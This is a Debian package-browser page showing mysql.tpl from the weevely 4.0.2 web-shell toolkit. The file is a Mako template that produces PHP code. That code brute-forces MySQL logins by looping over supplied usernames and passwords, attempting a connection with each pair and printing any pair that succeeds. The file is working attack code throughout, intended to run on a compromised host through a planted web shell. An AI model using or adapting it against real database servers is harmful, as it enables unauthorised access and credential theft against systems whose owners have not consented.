File: mysql.tpl

package info (click to toggle)
weevely 4.0.2-1
  • links: PTS, VCS
  • area: main
  • in suites: forky, sid, trixie
  • size: 1,336 kB
  • sloc: python: 7,732; php: 1,035; sh: 53; makefile: 2
file content (23 lines) | stat: -rw-r--r-- 421 bytes parent folder | download | duplicates (4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%! import json %>

ini_set('mysql.connect_timeout',1);
$users=array (
    % for u in users:
    ${ json.dumps(u) },
    % endfor
);
$pwds=array (
    % for p in pwds:
    ${ json.dumps(p) },
    % endfor
);

foreach($users as $u) {
    foreach($pwds as $p) {
        $c=@mysqli_connect("${ hostname }", "$u", "$p");
        if($c){
            print("$u:$p".PHP_EOL);
            break;
        }
    }
}mysqli_close();